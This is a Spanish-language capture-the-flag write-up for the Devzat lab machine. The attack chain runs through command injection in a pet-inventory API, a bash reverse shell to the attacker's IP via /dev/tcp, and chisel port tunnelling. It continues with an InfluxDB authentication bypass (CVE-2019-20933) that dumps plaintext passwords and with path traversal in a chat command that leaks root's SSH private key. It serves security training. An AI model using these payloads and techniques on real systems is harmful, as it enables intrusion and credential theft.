
Devzat - Writeup

RECONOCIMIENTO - EXPLOTACION

Realizamos un escaneo de puertos con nmap:

```
PORT
        STATE SERVICE VERSION
22/tcp
                      OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
        open ssh
ssh-hostkey:
   3072 c2:5f:fb:de:32:ff:44:bf:08:f5:ca:49:d4:42:1a:06 (RSA)
   256 bc:cd:e8:ee:0a:a9:15:76:52:bc:19:a4:a3:b2:ba:ff (ECDSA)
   256 62:ef:72:52:4f:19:53:8b:f2:9b:be:46:88:4b:c3:d0 (ED25519)
80/tcp open http Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://devzat.htb/
http-methods:
  Supported Methods: GET HEAD POST OPTIONS
8000/tcp open ssh
                      Golang x/crypto/ssh server (protocol 2.0)
| ssh-hostkey:
  3072 6a:ee:db:90:a6:10:30:9f:94:ff:bf:61:95:2a:20:63 (RSA)
Service Info: Host: devzat.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

El puerto 80 aplica una redireccion al dominio devzat.htb. Lo añadimos al archivo /etc/hosts y vamos a ver su contenido:



Okay, get me started!

You are invited to try it out!

Go ahead and follow this instructions:

ssh -l [username] devzat.htb -p 8000

Enjoy chatting!

Nos dice que por el puerto 8000 tenemos una forma de poder conectarnos para chatear. Necesitamos un nombre de usuario y ejecutar el comando que nos muestra. Vamos a ahacer la prueba:

```
___(kali⊛ kali)-[~/Downloads]
$ ssh -l test devzat.htb -p 8000
Unable to negotiate with 10.10.11.118 port 8000: no matching host key type found. Their offer: ssh-rsa
```

El error Unable to negotiate with 10.10.11.118 port 8000: no matching host key type found. Their offer: ssh-rsa puede deberse a que el servidor ofrece unicamente ssh-rsa. Lo que resulta inseguro y por lo tanto, hay que añadirlo en el comando para conectarlos:

ssh -o HostKeyAlgorithms=+ssh-rsa -l yorch devzat.htb -p 8000:

Podemos ejecutar algunos comandos:

```
SYSTEM] clear - Clears your terminal
SYSTEM] message - Sends a private message to someone
SYSTEM] users - Gets a list of the active users
SYSTEM] all - Gets a list of all users who has ever connected
SYSTEM] exit - Kicks you out of the chat incase your client was bugged
SYSTEM] bell - Toggles notifications when you get pinged
SYSTEM] room - Changes which room you are currently in
SYSTEM] id - Gets the hashed IP of the user
SYSTEM] commands - Get a list of commands
SYSTEM] nick - Change your display name
SYSTEM] color - Change your display name color
SYSTEM] timezone - Change how you view time
SYSTEM] emojis - Get a list of emojis you can use
SYSTEM] help - Get generic info about the server
SYSTEM] tictactoe - Play tictactoe
SYSTEM] hangman - Play hangman
SYSTEM] shrug - Drops a shrug emoji
SYSTEM] ascii-art - Bob ross with text
SYSTEM] example-code - Hello world!
hacker: /users
[SYSTEM] [hacker]
hacker: /id
[SYSTEM] 1a217fe8f0a4694ef899b1a33fd7b6661fc849abb9cdd1e1ebc426346d8dda3b
hacker: /rooms
```

Vamos a buscar posibles subdominios dentro del dominio principal:

```
kali® kali)-[~/Downloads]
 −$ wfuzz -c --hw 26 -w /usr/share/wordlists/dirbuster/directory-list-2.3-med
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is
ites. Check Wfuzz's documentation for more information.
******************
* Wfuzz 3.1.0 - The Web Fuzzer
*******************
Target: http://devzat.htb/
Total requests: 220546
ID
           Response
                    Lines
                                                Payload
                            Word
                                      Chars
                                                "pets"
000001744:
                    20 L
                            35 W
                                      510 Ch
```

Encontramos el subdominio "pets", vamos a ver el contenido:

Pet Inventory


Welcome to my pet inventory. This is where I keep a list of my pets.

I mean, come one, who doesn't like animals, right?

My Pets

Name	Species	Characteristics	
Cookie	Cat	Having a cat is like living in a shared apartment. Most of the time you mind your own business. From time to time you hang out together watching TV. And sometimes you find puke somewhere	
Mia	Cat	Having a cat is like living in a shared apartment. Most of the time you mind your own business. From time to time you hang out together watching TV. And sometimes you find puke somewhere	
Chuck	Dog	A dog will teach you unconditional love. If you can have that in your life, things won't be too bad.	
Balu	Dog	A dog will teach you unconditional love. If you can have that in your life, things won't be too bad.	
Georg	Gopher	Gophers use their long teeth to help build tunnels – to cut roots, loosen rocks and push soil away. Gophers have pouches in their cheeks that they use to carry food, hence the term "pocket" gopher. Gophers are generally solitary creatures that prefer to live alone except for brief mating periods.	
Gustav	Giraffe	With those extra long legs it is not surprising that a giraffe's neck is too short to reach the ground! Giraffes have a dark bluish tongue that is very long – approximately 50 centimetres (20 inches). Male giraffes fight with their necks.	
Rudi	Redkite	The wingspan of Red Kites can reach up to 170 cm (67 inch). Considering this large wingspan, the kites are very light birds, weighing no more than 0.9-1.3 kg (2.0-2.9 Punds)! The lifespan of Red Kites is usually around 4-5 years, but they can grow as old as 26 years of age! Red Kites have bright yellow legs and a yellow bill with a brown tip.	
Bruno	Bluewhale	The mouth of the blue whale contains a row of plates that are fringed with 'baleen', which are similar to bristles. Also the tongue of the blue whale is as big as an elephant.	
Add a Pet			
Name the pet			
Which species is it?			
Cat			~
Add Pet			

Si escribimos ; whoami recibimos un exit status 1:



Este "exit status" significa que el comando enviado no se ha ejecutado de forma correcta. Capturamos la peticion con burpsuite y lo enviamos:

```
POST /api/pet HTTP/1.1
 Host: pets.devzat.htb
 User-Agent: Mozilla/5.0 (X11; Linux x86 64; rv:128.0) Gecko/20100101 Firefox/128.0
 Accept: */*
 Accept-Language: en-US,en;q=0.5
 Accept-Encoding: gzip, deflate, br
 Referer: http://pets.devzat.htb/
 Content-Type: text/plain;charset=UTF-8
 Content-Length: 31
 Origin: http://pets.devzat.htb
Connection: keep-alive
 Priority: u=0
   "name":"test",
   "species":"cat"
) 👸 (← | →
            Search
esponse
retty
       Raw
              Hex
                     Render
HTTP/1.1 200 OK
 Date: Mon, 27 Jan 2025 10:03:25 GMT
 Server: My genious go pet server
 Content-Length: 26
 Content-Type: text/plain; charset=utf-8
 Keep-Alive: timeout=5, max=100
 Connection: Keep-Alive
 Pet was added successfully
Enviemos lo que enviemos siempre obtenemos la misma respuesta:
POST /api/pet HTTP/1.1
Host: pets.devzat.htb
```

```
POST /api/pet HTTP/1.1
Host: pets.devzat.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://pets.devzat.htb/
Content-Type: text/plain;charset=UTF-8
Content-Length: 17
Origin: http://pets.devzat.htb
Connection: keep-alive
Priority: u=0

{
    "PWNED":"PWNED"
}
```



Podemos intentar ejecutar comandos enviando un ping desde la maquina victima y ponernos en escucha con tcpdump para ver si recibimos la conexion:

No nos llega nada:

```
(kali⊕ kali)-[~/Downloads]
$ sudo tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
■
```

Vamos a intentarlo en el campo "species":

Recibo el ping:

```
(kali@ kali)-[~/Downloads]
$ sudo tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
07:07:56.633584 IP devzat.htb > 10.10.14.7: ICMP echo request, id 4, seq 1, length 64
07:07:56.633603 IP 10.10.14.7 > devzat.htb: ICMP echo reply, id 4, seq 1, length 64
```

Como tenemos ejecucion remota de comandos vamos a enviarnos una reverse shell en bash:

```
{
    "name":"test",
    "species":"cat;bash -c 'sh -i >& /dev/tcp/10.10.14.7/1234 0>&1'"
}
```

Recibimos la conexion por netcat:

```
(kali⊕ kali)-[~/Downloads]
$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.14.7] from (UNKNOWN) [10.10.11.118] 36700
sh: 0: can't access tty; job control turned off
$ whoami
pa_trick
```

ESCALADA DE PRIVILEGIOS

Vamos a ver los procesos que estan corriendo en la maquina victima:

```
root
            1034 0.0 0.0
                           2488
                                   576 ?
                                                      09:23
root
                 0.0 0.1 696520
                                  3864 ?
                                                      09:23
                                                              0:00 /usr/bin/docker-proxy -proto tcp -host-ip 127.0.0.1 -host-port 8086 -container-ip 172.17
                                                                   /usr/bin/containerd-shim-runc-v2
                                                                                                    -namespace moby
                 0.1 2.1 406544 43920
root
                                                 Ssl
                                                     09:23
                                                              0:08 influxd
                     0.0
root
                 0.0
                                                              0:02 [kworker/0:0-events]
          12853 0.0 0.2
 ww-data
                                                             0:00 /usr/sbin/apache2 -k start
```

Hay un docker corriendo por el puerto 8086. Vamos a ver los puertos internos que tiene la maquina:

```
patrick@devzat:~$ netstat –antp
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address
                                                                                   PID/Program name
                                              Foreign Address
                                                                       State
                  0 127.0.0.1:5000
           0
                                              0.0.0.0:*
                                                                       LISTEN
                                                                                   829/./petshop
tcp
tcp
           0
                  0 127.0.0.53:53
                                              0.0.0.0:*
                                                                       LISTEN
                  0 127.0.0.1:8086
tcp
           0
                                              0.0.0.0:*
                                                                       LISTEN
           0
                  0 0.0.0.0:22
                                                                       LISTEN
tcp
                                              0.0.0.0:*
                    127.0.0.1:8443
           0
                                              0.0.0.0:*
                                                                       LISTEN
tcp
                  0
```


El 5000, 8086 y 8443 no estaban expuestos de forma externa. Vamos a exponerlos con chisel. En nuestro equipo nos ponemos a la escucha con chisel en modo servidor:

```
chisel server -- reverse -p 1234
2025/01/27 07:45:29 server: Reverse tunnelling enabled
2025/01/27 07:45:29 server: Fingerprint N77EuoU3hks7E89t6DulRPSmcb6gvgQ1hEyTQ0fQsEE=
2025/01/27 07:45:29 server: Listening on http://0.0.0.0:1234
```

En la maquina victima redireccionamos los 3 puertos para poder acceder desde nuestro localhost

```
patrick@devzat:~$ ./chiselLinux client 10.10.14.7:1234 R:5000:127.0.0.1:5000 R:8086:127.0.0.1:8086 R:8443:127.0.0.1:8443
2025/01/27 11:46:19 client: Connecting to ws://10.10.14.7:1234
2025/01/27 11:46:20 client: Connected (Latency 109.885284ms)
```

Vamos a ver el contenido de los 3 puertos. El 5000 es donde se encontraba el subdominio:



El puerto 8084 es el que estaba expuesto a traves del puerto 8000 donde se accedia a traves de ssh al chat:

```
Golang x/crypto/ssh server (protocol 2.0)
8443/tcp open ssh
 ssh-hostkey:
   256 66:61:73:b4:a2:9c:b1:b7:a9:81:7a:6e:1d:5d:fc:ec (ED25519)
1 service unrecognized despite returning data. If you know the service/versi
SF-Port5000-TCP:V=7.95%I=7%D=1/27%Time=67978140%P=x86_64-pc-linux-gnu%r(Ge
SF:nericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20t
SF:ext/plain; \\ x20charset=utf-8\\ r\\ nConnection: \\ x20close\\ r\\ n\\ r\\ n400\\ x20Bad\\ x
SE: 20Pequest " )%r(GetRequest 295 "HTTP/1\ 0\v20200\v200K\r\nSe
```

El puerto 8086 contiene un gestor de bases de datos llamado InfluxDB:

```
InfluxDB http admin 1.7.5
8086/tcp open http
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
```

Vamos a buscar lo que es:

```
pentesting InfluxDB

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Exploit Notes
https://exploit-notes.hdks.org > in... · Traducir esta página :
InfluxDB Pentesting - Exploit Notes
InfluxDB is a time series database written in Go. A default port is 8086.
```

```
# User enumeration
curl http://<target-ip>:8086/debug/requests

Connect

influx -host 10.0.0.1 -port 8086
influx -host 10.0.0.1 -port 8086 -database <database>
influx -host 10.0.0.1 -port 8086 -username <username> -password <password>
# Import db file
influx -path example.db
```

Vamos a intentar acceder a este gestor de BD:

```
(kali⊛ kali)-[~/Downloads]
 -$ influx -host localhost -port 8086
Connected to http://localhost:8086 version 1.7.5
InfluxDB shell version: 1.6.7~rc0
> help
Usage:
         connect <host:port> connects to another node specified by host:port
                                  prompts for username and password
         auth
         pretty
                                 toggles pretty print for the json format
         chunked turns on chunked responses from server chunk size <size> sets the size of the chunked responses. Set to 0 to reset to the default chunked size
         use <db_name>
                                  sets current database
         format <format>
                                  specifies the format of the server responses: json, csv, or column
         precision <format>
                                  specifies the format of the timestamp: rfc3339, h, m, s, ms, u or ns
                                  sets write consistency level: any, one, quorum, or all
         consistency <level>
         history
                                  displays command history
         settings
                                  outputs the current settings for the shell
         clear
                                  clears settings such as database or retention policy. run 'clear' for help
         exit/quit/ctrl+d
                                  quits the influx shell
        show databases show database names
show series show series information
show measurements show measurement information
show tag keys show tag key information
show field keys show field key information
         A full list of influxql commands can be found at:
         https://docs.influxdata.com/influxdb/latest/query_language/spec/
> show databases
ERR: unable to parse authentication credentials
Warning: It is possible this error is due to not setting a database.
Please set a database with the command "use <database>"
```

Nos pide unas credenciales. Si vamos abajo de este post podemos ver que nos dice como bypasear la autenticacion:

Authentication Bypass (CVE-2019-20933) version ≤ 1.7.6 Automation https://github.com/LorenzoTullini/InfluxDB-Exploit-CVE-2019-20933 Manual

Lo ejecutamos y nos dice que es vulnerable:

El usuario valido es "admin" y tenemos 2 bases de datos. En el post tambien nos muestra como podemos listar el contenido de la base datos:

```
INFLUXDB_JWT="<JWT>"
# List databases
curl http://<target-ip>:8086/query -H
# List seriest in the database
curl http://<target-ip>:8086/query -H
# Get values in the series
curl http://<target-ip>:8086/query -H
```

Nos dice algo de "Series". Si ejecutamos el comando "show" podemos ver que menciona series:

En su interior tenemos "values" que es "user". Esa puede ser una especie de tabla. Vamos a seleccionar todo el contenido de la tabla:

```
ൂ (a) 127.0.0.1/devzat
error": "error parsing query: found USER, expected identifier at line 1, char 15"
in@127.0.0.1/devzat] $ select * from "user"
"results": [
        "series": [
                "columns": [
                    "time"
                     'enabled"
                     'password'
                     username"
                ],
"name": "user",
                "values": [
                        "2021-06-22T20:04:16.313965493Z",
                        false,
                        "WillyWonka2021",
                        "wilhelm"
                        "2021-06-22T20:04:16.320782034Z",
                         "woBeeYareedahc7Oogeephies7Aiseci",
                        "catherine"
                        "2021-06-22T20:04:16.996682002Z",
                        "RoyalQueenBee$",
                        "charles"
        "statement_id": 0
```

Hemos encontrado la contraseña del usuario "catherine". Vamos a pivotar hacia ese usuario:

```
patrick@devzat:~$ su catherine
Password:
catherine@devzat:/home/patrick$
```

Si accedemos por ssh al chat vemos una conversacion:

```
catherine@devzat:/tmp/dev$ ssh catherine@localhost -p 8443
patrick: Hey Catherine, glad you came.
catherine: Hey bud, what are you up to?
patrick: Remember the cool new feature we talked about the other day?
catherine: Sure
patrick: I implemented it. If you want to check it out you could connect to the local dev instance on port 8443.
catherine: Kinda busy right now file
patrick: That's perfectly fine file You'll need a password which you can gather from the source. I left it in our default backups location.
catherine: k
patrick: I also put the main so you could diff main dev if you want.
catherine: Fine. As soon as the boss let me off the leash I will check it out.
patrick: Cool. I am very curious what you think of it. Consider it alpha state, though. Might not be secure yet. See ya!
devbot: patrick has left the chat in the chat it is a secure of the chat. There are no more users
devbot: catherine has joined the chat
catherine:
```

Patrick nos dice que le echemos un vistazo al chat que he imprementado y que ha dejado la contraseña donde realiza los backus por defecto. Vamos a ver que comandos podemos ejecutar con este usuario a traves del chat:

```
Catherine: /commands
[SYSTEM] Commands
[SYSTEM] clear - Clears your terminal
[SYSTEM] message - Sends a private message to someone
[SYSTEM] users - Gets a list of the active users
[SYSTEM] all - Gets a list of all users who has ever connected
[SYSTEM] exit - Kicks you out of the chat incase your client was bugged
[SYSTEM] bell - Toggles notifications when you get pinged
[SYSTEM] room - Changes which room you are currently in
[SYSTEM] id - Gets the hashed IP of the user
[SYSTEM] commands - Get a list of commands
[SYSTEM] nick - Change your display name
[SYSTEM] nick - Change your display name
[SYSTEM] timezone - Change how you view time
[SYSTEM] emojis - Get a list of emojis you can use
[SYSTEM] help - Get generic info about the server
[SYSTEM] tictactoe - Play tictactoe
[SYSTEM] hangman - Play hangman
[SYSTEM] shrug - Drops a shrug emoji
[SYSTEM] ascii-art - Bob ross with text cated in the eatherine users home direct
[SYSTEM] example-code - Hello world!
[SYSTEM] file - Paste a files content directly to chat [alpha]
```

Podemos consultar archivos. Vamos a localizar el /etc/passwd:

```
catherine: /file /etc/passwd
[SYSTEM] You need to provide the correct password to use this function
```

Necesitamos la contraseña. Vamos a buscar la contraseña en los backups:

```
catherine@devzat:/tmp/dev$ find / -name *backup* 2>/dev/null
snap/core18/2128/usr/share/bash-completion/completions/vgcfgbackup/
snap/core18/2128/var/backups
snap/core18/2074/usr/share/bash-completion/completions/vgcfgbackup
snap/core18/2074/var/backups
/usr/sbin/vgcfgbackup
/usr/share/man/man8/vgcfgbackup.8.gz
usr/share/doc/libipc-system-simple-perl/examples/rsync-backup.pl/
usr/share/bash-completion/completions/vgcfgbackup/
usr/lib/open-vm-tools/plugins/vmsvc/libvmbackup.so/
usr/lib/modules/5.4.0-77-generic/kernel/drivers/net/team/team_mode_activebackup.ko/
usr/lib/modules/5.4.0-77-generic/kernel/drivers/power/supply/wm831x_backup.ko/
/usr/lib/python3/dist-packages/sos/report/plugins/ovirt_engine_backup.py
usr/lib/python3/dist-packages/sos/report/plugins/__pycache__/ovirt_engine_backup.cpython-38.pyc/
usr/src/linux-headers-5.4.0-77/tools/testing/selftests/net/tcp_fastopen_backup_key.sh/
usr/src/linux-headers-5.4.0-77-generic/include/config/wm831x/backup.h
usr/src/linux-headers-5.4.0-77-generic/include/config/net/team/mode/activebackup.h
sys/devices/virtual/net/veth57c8231/brport/backup_port/
/var/backups
```

Vamos a ver que contiene ese directorio:

Copiamos los dos zips a /tmp y los descomprimimos. Si buscamos de manera recursiva la palabra password todas nos llevan al mismo archivo:

Vamos a localizar la contraseña en ese archivo:

```
// Check my secure password
if pass ≠ "CeilingCatStillAThingIn2021?" {
          u.system("You did provide the wrong password")
          return
}
```

Ahora que tenemos la contraseña vamos a listar los archivos:

```
[SYSTEM] /commands
catherine: /file /etc/passwd
[SYSTEM] You need to provide the correct password to use this function
catherine: /file /etc/passwd -p CeilingCatStillAThingIn2021?
[SYSTEM] You did provide the wrong password
```

Probamos a poner la contraseña directamente sin especificar ningun parametro:

```
catherine: /file /etc/passwd CeilingCatStillAThingIn2021?
[SYSTEM] The requested file @ /root/devzat/etc/passwd does not exist!
```

Nos dice que el archivo no existe pero porque esta buscando dentro de /root/devzat. Si esta buscando dentro de /root es porque tenemos permisos para acceder. Vamos a buscar la clave privada del usuario root:

```
catherine: /file ../../root/.ssh/id_rsa CeilingCatStillAThingIn2021?
[SYSTEM] ——BEGIN OPENSSH PRIVATE KEY——
[SYSTEM] b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAAAAAAAAAAAAAAAAAAAAAC2gtZW
[SYSTEM] QyNTUxOQAAACDfr/J5xYHImnVIIQqUKJs+7ENHpM02cyDibvRZ/rbCqAAAAJiUCzUclAs1
[SYSTEM] HAAAAAtzc2gtZWQyNTUxOQAAACDfr/J5xYHImnVIIQqUKJs+7ENHpM02cyDibvRZ/rbCqA
[SYSTEM] AAAECtFKzlEg5E6446RxdDKxslb4Cmd2fsqfPPOffYNOP20d+v8nnFgciadUghCpQomz7s
[SYSTEM] Q0ekw7ZzIOJu9Fn+tsKoAAAAAD3Jvb3RAZGV2emF0Lmh0YgECAwQFBg=
[SYSTEM] ——END OPENSSH PRIVATE KEY——
```

La copiamos, de damos el formato necesario, el permiso 600 y iniciamos sesion con el usuario root haciendo uso de la clave privada:

```
kali⊛kali)-[~/Downloads]
 -$ cat id_rsa|cut -f 2-6 -d
     BEGIN OPENSSH PRIVATE KEY-
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACDfr/J5xYHImnVIIQqUKJs+7ENHpMO2cyDibvRZ/rbCqAAAAJiUCzUclAs1
HAAAAAtzc2gtZWQyNTUxOQAAACDfr/J5xYHImnVIIQqUKJs+7ENHpMO2cyDibvRZ/rbCqA
AAAECtFKzlEg5E6446RxdDKxslb4Cmd2fsqfPPOffYNOP20d+v8nnFgciadUghCpQomz7s
Q0ekw7ZzIOJu9Fn+tsKoAAAAD3Jvb3RAZGV2emF0Lmh0YgECAwQFBg=
    -END OPENSSH PRIVATE KEY-
  —(env)—(kali⊛kali)-[~/Downloads]
--$ cat id_rsa|cut -f 2-6 -d " "|sponge id_rsa
 --(env)-(kali⊕ kali)-[~/Downloads]
└─$ chmod 600 id_rsa
 —(env)−(kali⊗kali)−[~/Downloads]
ssh root@10.10.11.118 -i id_rsa -o PubkeyAuthentication=ssh-rsa
command-line line 0: unsupported option "ssh-rsa".
  -(env)-(kali⊗kali)-[~/Downloads]
ssh root@10.10.11.118 -i id_rsa
The authenticity of host '10.10.11.118 (10.10.11.118)' can't be established.
ED25519 key fingerprint is SHA256:hEPBYkcPURW99t505QtiHKAc1IfbpDSHoHPBG7lWoTk.
This host key is known by the following other names/addresses:
~/.ssh/known_hosts:27: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.118' (ED25519) to the list of known hosts.
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-77-generic x86_64)
 * Documentation: https://help.ubuntu.com
 * Management:
                   https://landscape.canonical.com
 * Support:
                   https://ubuntu.com/advantage
  System information as of Mon 27 Jan 2025 12:55:16 PM UTC
                            0.0
  System load:
                            56.4% of 7.81GB
 Usage of /:
  Memory usage:
                            37%
  Swap usage:
                            0%
  Processes:
                            249
 Users logged in:
 IPv4 address for docker0: 172.17.0.1
  IPv4 address for eth0: 10.10.11.118
  IPv6 address for eth0:
                            dead:beef::250:56ff:feb0:32a1
107 updates can be applied immediately.
33 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
root@devzat:~#
```